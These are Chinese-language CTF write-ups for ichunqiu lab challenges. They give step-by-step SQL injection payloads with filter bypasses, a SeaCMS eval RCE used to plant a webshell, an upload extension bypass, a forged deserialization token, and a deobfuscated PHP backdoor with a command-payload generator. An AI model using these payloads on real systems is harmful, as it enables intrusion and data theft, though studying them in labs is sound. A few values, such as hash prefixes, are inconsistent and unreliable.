查看數據庫版本信息
post:
truename=root%0000&Limitword[000]=&email=root@backlion.org&provinceid= , address=(select version()) where uid = 3 %23 //注意uid值
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3
得到數據庫版本信息:5.5.35-1ubuntu1

查看數據庫用戶:
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2
post:
truename=test%0000&Limitword[000]=&email=root@backlion.org&provinceid=,address=(select user()) where uid=3%23

http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3
得到數據庫用戶名為:youleUserl@localhost

查詢表名:
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2
post:
truename=test%0000&Limitword[000]=&email=root@backlion.org&provinceid=
, address=(select group_concat(distinct(column_name)) from information_schema.columns where table_name = (select distinct(table_name) from information_schema.tables where table_schema = database() limit 1) ) where uid = 3 %23


得到表名為:id,username,password,Email

通過load_file讀取 /var/www/html/flag.php內容
post:
truename=test%0000&Limitword[000]=&email=root@backlion.org&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) where uid=3%23
根據上文可知flag的路徑路徑為:/var/www/html/flag.php,load_file函數里面那一串十六進制數字代表/var/www/html/flag.php

查詢源碼,發現flag內容
view-source:http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3
最終flag:
flag{b60be290-d90e-4b72-8763-83ae2357e933}

題目名稱:SQL
題目writup:
啟動題目場景,獲得靶場網站,訪問網站,頁面顯示flag{在數據庫中}
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1
          
          
          
                  
測試and 1=1和and 1=0,頁面都顯示相同內容,證明and被過濾了。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 and 1=1
          
          
          
                  
又測試or 1=1和or 1=0,頁面都顯示相同內容,證明or也被過濾了。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 or 1=1
使用字符&&和||分別替換成and和or,頁面顯示不同,證明存在注入漏洞
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 && 1=1
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 || 1=1
用order by測試字段數,發現order by也被過濾了。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 order by 1
經常大量測試,發現可以使用<>繞過
這里需要注意or<>der隔開是不對的,因為or又是一個被攔截的字符
可以查詢到有3個字段
通過union select查詢字段的回顯位,發現 union select也被過濾了
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 union select 1,2,3


這里同樣用<>繞過,可查詢到字段回顯位在2位置。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,2,3
查詢數據庫名
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,database(),3
可得到數據庫名為:sqli
查詢表名
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'
得到表名為:info( 猜測flag在info表中)和users
查詢字段名:
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1   un<>ion  se<>lect 1,group_concat(column_name),3  from  information_schema.columns  where table_name='info'
得到三個字段名為:id,title,flAg_T5ZNdrm

查詢 flAg_T5ZNdrm字段的內容,可獲得flag內容
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1   u<>nion se<>lect 1,flAg_T5ZNdrm,3 from info
最終flag:
flag{d6f827ac-3b39-4878-a6a9-77829ca6ed93}

題目名稱:

題目內容:12341234,然后就解開了

題目wirteup:
啟動題目場景,獲得靶場,訪問網站,發現頁面正在加載
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/b68a89d1c4a097a9d8631b3ac45e8979.php
然后查看源代碼,發現有注入long.php?id=1連接
訪問 login.php?id=1鏈接,可以正常顯示,測試sql注入發現不行。
這里對其靶機網站目錄進行掃描,發現有index.php和login.php以及config.php
其中config.php頁面打開是空白
訪問index.php頁面,發現有跳轉,這里對其進行抓包,發現會直接跳轉到b68a89d1c4a097a9d8631b3ac45e8979.php頁面
打開 b68a89d1c4a097a9d8631b3ac45e8979.php頁面,又繼續抓包分析,有一個隱藏頁面進行請求b68a89d1c4a097a9d863lb3ac45e8979.php(這里1變成了L),在進行請求,響應頁面跳轉到302,同時又隱藏了
頁面 l0gin.php?id=1,真正的是這個頁面在請求。
訪問 l0gin.php?id=1鏈接,發現有內容的頁面,可能這個頁面是存在注入

測試and 1=1和and 1=0,發現都被過濾
經過測試 and '1 和and '0,可繞過,並且頁面不同,可判斷該頁面存在注入。
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1'  and '1
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1'  and '0
測試閉合符號#,發現#符號被過濾了
測試閉合符號--以及%23(# url編碼)可成功閉合。
查詢字段,發現存在2個字段
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1' order by 2%23
查詢字段回顯位,發現逗號被過濾了,不能進行含有逗號的Sql查詢語句
繞過逗號過濾,可以使用join 聯合查詢語句進行繞過
查詢數據庫名和數據庫版本
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select database()) a join (select version() ) b %23
得到數據庫名為sqli以及數據庫版本:5.5.50-0ubuntu0.14.04.1
查詢表名
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(table_name) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23
得到表名為:users
查詢users的字段名
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b %23
得到字段名為:id,username,flag_9c861b688330
查詢字段內容,可獲得flag內容
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select flag_9c861b688330 from users) a join (select version() ) b %23
最終flag:
flag{2281c183-a611-4569-8e88-8e1bace4d9a5}


題目名稱:123
題目內容:12341234,然后就解開了
題目witeup:
啟動題目場景,獲得靶場網站,訪問網站,發現是一個登陸頁面
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/login.php
查看源代碼,發現注釋中包含用戶名都在user.php中,且用戶名的密碼是密碼+出生日期。
view-source:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/login.php
通過御劍目錄掃描工具,發現存在flag.php和user.php.bk文件
訪問user.php.bk文件,可直接下載文件到本地,並查看其內容,發現都是用戶名字典。可將該文件當作字典 進行爆破。
登錄系統,輸入任意用戶名和密碼,並對其抓包,這里對用戶名和密碼進行爆破。由於 密碼是密碼+出生日期,這里出生日期從1990開始fuzz
添加字典,也就是那個備份文件
成功爆破出用戶名lixiuyun,密碼lixiuyun1990
輸入爆破成功的用戶名和密碼,可登錄系統,但是現實是空白的
查看源代碼,發現注釋中存在漏洞需要去掉,這里是去掉注釋,我們將其復制保存到本地為file.html
view-source:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/
file.html修改后的內容:
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>個人中心</title>
</head>
<body>
<center>
<form action="http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上傳" />
</form>
</center>
</body>
</html>
首先正常訪問登錄后的地址: http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/,並獲得cookie值
然后本地訪問 file.html,上傳一個.txt文件,抓包攔截,並帶上獲取的cookie值,發送請求,發現只允許上傳圖片文件。
接着上傳.jpg發現文件名不合法
文件名修改為test.jpg.php發現文件名不能包含php

之后我們再嘗試 php2, php3, php4, php5, phps, pht, phtm, phtml等 php的別名,最后得到pht或者phtml不會被過濾,可上傳成功,並返回了一個路徑/view.php

訪問view.php路徑, 得到提示通過file進行傳參
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php
訪問 view.php?file=,發現filter "flag"顯示過濾了flag關鍵字
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php?file=
直接雙寫 flaflagg繞過,試了半天flaflagg.php,最后把.php去掉就得到flag了
訪問 view.php?file=flflagag可成功讀取flag內容
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php?file=flflagag
最終flag
flag{284d0d78-c90d-47bd-940b-a713f20749e7}


題目名稱:Test

題目內容:善於查資料,你就可以拿一血了

writeup:
啟動題目場景,獲得題目靶機網站,訪問網站,發現網站是一個海洋CMS系統開發的
http://9e3dca6048414f28b84aebff6615aaf412179ee984524170.changame.ichunqiu.com/
通過百度搜索海洋cms歷史漏洞可知,得到一個搜索的任意代碼執行漏洞,poc: search.php/?searchtype=5&tid=&area=eval($_POST[bk])
這里直接訪問以下鏈接,可遠程加載一句話木馬
http://9e3dca6048414f28b84aebff6615aaf412179ee984524170.changame.ichunqiu.com/search.php/?searchtype=5&tid=&area=eval($_POST[bk])
這里通過螞劍鏈接一句話木馬
並通過命令終端搜索falg,命令:find / -name "*flag*",發現沒有任何相關的flag信息
猜測flag可能在數據庫中,這里需要鏈接數據庫,前提是需要找到數據庫連接的用戶名和密碼
而這些信息是在data/common.inc.php文件下存在數據庫的配置內容。
通過螞劍本身自帶的數據庫管理工具鏈接數據庫
並在seacms數據庫中的flag_140ad230d8cb表中的flag字段中存在flag的信息,這里執行字段中的語句,即可獲得flag內容

最終得到flag:
flag{1603d032-add0-424b-8b11-df64d0e4ebb2}


題目名稱:Login

題目內容:加油,我看好你

題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現是一個登陸頁面
http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/
對靶場網站查看源碼發現注釋中有test1 test1,猜測是用戶名和密碼
view-source:http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/
輸入用戶名 test1和密碼test1,可成功登陸到 member.php后台頁面,發現沒有可利用點
http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/member.php
並查看源碼,也沒喲發現可利用點
繼續訪問訪問 member.php頁面,並通過bupsuit抓包,發現在響應頁面的http響應頭中出現了可疑的show: 0
http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/member.php
這里將 show: 0 添加到http請求頭部中,並發送請求,在響應頁面中並沒沒發生變化和可利用點
這里修改為 show: 1 添加到http請求頭部中,在響應頁面中出現了php的源代碼。

得到php源碼:
<!-- <?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }
    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }
?>
對其源碼進行代碼分析:

可以看到想要得到 flag,必須得滿足:

1.user 等於ichunqiu

$login['user'] === 'ichunqiu'

然而token是經過這樣處理的:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

所以需要將‘ichunqiu’經過base64_encode(gzcompress(serialize($token)))處理得到token值,並將token添加到cookie中,發送請求就會得到flag

上面代碼中三個函數的作用如下:

unserialize:對單一的已序列化的變量進行操作,將其轉換回 PHP 的值

gzuncompress:解壓被壓縮的字符

base64_decode:base64解碼

我們重新編寫一個php腳本來生成ichunqiu的token值:

<?php $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a ?>

這里通過在線php工具來運行php代碼得到token

https://tool.lu/coderunner/

得到token的值:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

將token值添加到cookie中,添加的內容為:;token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

並發送請求,在響應頁面中發現了flag的內容

最終flag為:
flag{051e9c1c-e685-4ef8-a315-5cae795f5866}

題目名稱:Backdoor

題目內容:

努力、加油,拼搏,奮斗!!!

tips:敏感文件泄漏 

題目writeup:

其他題目場景,獲得題目靶機,訪問網站,頁面顯示了一些內容“can you find the flag.php?"

http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/index.php

嘗試將index.php修改為flag.php,訪問Challenges/flag.php頁面,內容顯示的flag並不是真正的flag

http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/flag.php


通過御劍目錄掃描工具對網站根目錄以及/Challenges目錄進行掃描,發現存在 robots.txt和flag.php文件以及/.git/路徑
訪問robots.txt頁面,發現隱藏可訪問flag.php頁面
http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/robots.txt

訪問flag.php頁面,顯示404頁面無法訪問
http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/flag.php
這里通過githack進行git下載
python GitHack.py http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/.git/
下載下來並沒有可利用的東西,有某些隱藏的git操作的修改歷史記錄githack是不能讀取出來。
這里使用 dvcs-ripper會自動解析並提取以往的操作歷史記錄項目
perl rip-git.pl    -v -u  http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/.git/
查看falg.php和index.php的內容
cat flag.php
cat index.php
顯示內容為: flag{this_is_not_flag},並不是flag內容

查看flag.php的修改git日志記錄

git log flag.php

              
              
              
                      
可以看到修改了很多次flag.php這個文件,我們回查一下上一次的修改時的內容
commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}

那么我們訪問 tb4cko0r.php文件,頁面內容顯示“can you find the source code of me?”告訴我們需要源碼查看
http://2f563c14132a4594bd424f63a4da93bd96dec8c672684bd6.changame.ichunqiu.com/Challenges/b4ckdo0r.php
查看源代碼並沒有任何可利用點
view-source:http://2f563c14132a4594bd424f63a4da93bd96dec8c672684bd6.changame.ichunqiu.com/Challenges/b4ckdo0r.php

源代碼中也無任何提示,既然是文件泄露,我們就嘗試.b4ckdo0r.php.swo和, .b4ckdo0r.php.swp文件,這兩個都是vim在編輯過程中產生的緩存文件,果然找到了.b4ckdo0r.php.swo,打開發現是亂碼
我們將 b4ckdo0r.php.swo上傳到 kali 系統中,使用vim -r選項恢復該文件。
vim -r b4ckdo0r.php.swo
回車即可得到b4ckdo0r.php的內容,將內容拷貝至b4ckdo0r.php文件中:
<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
?>
修改一下代碼將幾個關鍵變量打印出來:
<?php
echo "can you find the source code of me?";
$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';
$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';
$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';
$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';
$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';
 $O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';
$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';
$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';
$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';
$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';
$y=str_replace('b','','crbebbabte_funcbbtion');
$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';
$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);
$v=$y('',$L);$v();
echo  $v,$L,$y;
?>
通過在線 php執行,得到不美觀的php代碼:
           
           
           
                   
通過在線PHP代碼格式化美化工具對其進行美化。
整理得到php代碼:
<?php
$kh="4f7f";
$kf="28d7";
//對$t,$k進行異或運算
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
for($i=0; $i<$l;) {
//如果第二個參數全部異或了一遍,第一個還沒結束,接着從第二個參數頭部從頭開始。
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
// HTTP_REFERER處理后傳給$q ,HTTP_ACCEPT_LANGUAGE過正則,每個語言的首字符和權重q=0.x的x值傳給 $m
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"]; //獲取變量,且用戶可控
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; //獲取變量,且用戶可控
if($rr&&$ra) {
    $u=parse_url($rr); //解析一個 URL 並返回一個關聯數組,包含在 URL 中出現的各種組成部分。
    parse_str($u["query"],$q); //把HTTP_REFERER中query(即提交的參數)對應的值提出,parse_str — 將字符串解析成多個變量
    $q=array_values($q); //返回含所有值的索引數組。
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
//
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr"; //做動態變量名用,$sl也一樣
        $sl="strtolower";
        $i=$m[1][0].$m[1][1]; //取的組合值
        $h=$sl($ss(md5($i.$kh),0,3)); //運算后值為675
        $f=$sl($ss(md5($i.$kf),0,3)); //值為a3e
        $p="";
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]]; //遍歷所有權重值,讀取對應的$q,拼接成$p
    //如果$p中沒有和$h相同的的字符串,則令$s[$i]為空,p等於p的前三位
        if(strpos($p,$h)===0) {
            $s[$i]=""; $p=$ss($p,3); //$p前三位是不是675
        }
    // array_key_exists — 檢查數組里是否有指定的鍵名或索引,檢查$i中有無$s字符串,有則s[$i]與p合並,$e等於$f在$s[$i]中首次出現的位置
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f); //$i后三位是不是a3e
            if($e) {
                $k=$kh.$kf; //$k值為4f7f28d7
                ob_start();//打開輸出控制緩沖
//base64解碼后,通過x函數與$k進行異或計算,gzip解壓,以$f截斷(此時$e的值等於$f)
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); //gzip壓縮執行結果,並與$k進行異或計算
                @session_destroy();
            }
        }
    }
}

x($t, $k)函數是個異或函數,第一個參數和第二個參數按位對應異或,如果第二個參數全部異或了一遍,第一個還沒結束,又從第二個參數頭部從頭開始。

$rr是通過http報頭的Referer參數傳入,我們可控

$rs是通過http報頭的accept-language參數傳入,我們可控

這里先介紹下accpet-language吧,舉個栗子

這里的zh-CN是默認語言,之后每個值以“,(逗號)”隔開,格式為“ 語言;q=權重 ”

那么preg_match_all這個正則所做的事,看着很復雜,我們直接把他輸出到自己服務器的web上吧

是一個二維數組,然后$i會取[1][0]和[1][1]的組合值

$h和f分別是 ($i . $kh)和($i . $kf)的md5值的前3個字符這里算出來是675和a3e

這一段代碼會看language的語言有多少個,然后$p是以權重的小數部分值為下標,然后取Referer的url中的對應下標的參數的值的組合

這里舉個例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]

然后就是判斷$p這個變量前3個是不是675,后3個是不是a3e,最后我們的構造為 "675 + payload + a3e"

然后就是傳到eval函數里面了,這里我們要通過eval函數來讀目錄,然后查看flag

eval中用了很多編碼方式,也用到了自定的x($t, $k)這個異或函數,我們依次測試下順序,就能正確的生成我們的payload,來構造system("ls");

這里異或的規律

a = b ^ c那么 b = a ^ c;這是一個很簡單的規律,所以x函數即使編碼函數,也是解碼函數

最后附上我生成payload和解碼返回值的內容的php代碼

<?php

function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, '4f7f28d7');
    $str = gzuncompress($str);
    echo $str . "<br>";
}
//輸出向服務器提交的變量a中payload值  ?a=675 + payload + a3e
function input($cmd){
    $str = 'system("' . $cmd . '");';
    $t1 = gzcompress($str);
    echo '$t1 = ' . $t1 . "<br>";
    $t2 = x($t1, '4f7f28d7');
    echo '$t2 = ' . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo '$t3 = ' . $t3 . "<br>";
    return $t3;
}

$ra='zh-CN,zh;q=0.0';
input('ls'); //第一次的命令
input('cat this_i5_flag.php');// //第一次的命令
?>
把命令輸入input里面,運行這個php腳本就會生成ls命令的payload,而我們accep-language所填內容為 'zh-CN,zh;q=0.0'
得到執行ls的payload值:TPocyB4WLfrhNv1PZOrQMTREimJn
得到執行 cat this_i5_flag.php的payload值:TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW

第一次執行命令的payload(675+TPocyB4WLfrhNv1PZOrQMTREimJn+3e)為請求生成的解密返回的值:
這里請求訪問將Accept-Language: zh-CN,zh;q=0.0和Referer:http://eb74b49c758449eab4bef45af0b8e8e7f872ea67ce774e9a.changame.ichunqiu.com/Challenges/index.php?a=payload值添加到http請求頭,然后發送請求,在
響應頁面得到解密后返回的值
得到解密值: TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT

第二執行命令的 payload(675+TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW+3e)為請求生成的解密返回的值:
得到解密值: TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8

將得到的解密值填入到下面腳本中執行,可獲得flag信息:
<?php

function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, '4f7f28d7');
    $str = gzuncompress($str);
    echo $str . "<br>";
}
//輸出向服務器提交的變量a中payload值  ?a=675 + payload + a3e
function input($cmd){
    $str = 'system("' . $cmd . '");';
    $t1 = gzcompress($str);
    echo '$t1 = ' . $t1 . "<br>";
    $t2 = x($t1, '4f7f28d7');
    echo '$t2 = ' . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo '$t3 = ' . $t3 . "<br>";
    return $t3;
}

$ra='zh-CN,zh;q=0.0';
input('ls'); //第一次的命令
input('cat this_i5_flag.php');// //第一次的命令
//服務器兩次返回的值
get_answer('TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT');
get_answer('TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8')
?>
最終flag:
flag{2daeab83-b9eb-492b-86eb-05c7f0a80b72}


漏洞名稱:GetFlag

題目內容:一步一步一步的靠近它

漏洞writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現連接中有一個login登陸按鈕
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/index.php

並且頁面中顯示的內容:

substr(md5(captcha), 0, 6)=39f049

給出了一個截取驗證碼的MD5 Hash前六位字符,根據代碼,猜想這題是要碰撞出驗證碼對應的明文。

使用Python編寫出相應的工具,可以根據MD5 Hash前六位碰撞出明文,明文的范圍通過多次嘗試,得知在6位至8位
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time    : 2018/8/20 22:50
# Author  : SDFZ
# Site    : sdfzy.top
# File    : test.py
#===================================================================
import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest() #用md5先把參數s用utf-8編碼之后進行加密,hexdigest表示返回返回摘要,作為十六進制數據字符串值
def main(s):
    for i in range(1,99999999):
        if md5(i)[0:6]  == str(s):     #截取密文前6位與 用戶傳入的值進行比對  (具體情況具體修改)
            print(i)
            exit(0)
if __name__ == '__main__':
    main("36c22c")
執行結果,碰撞出驗證碼:
得到的驗證碼為:35627749
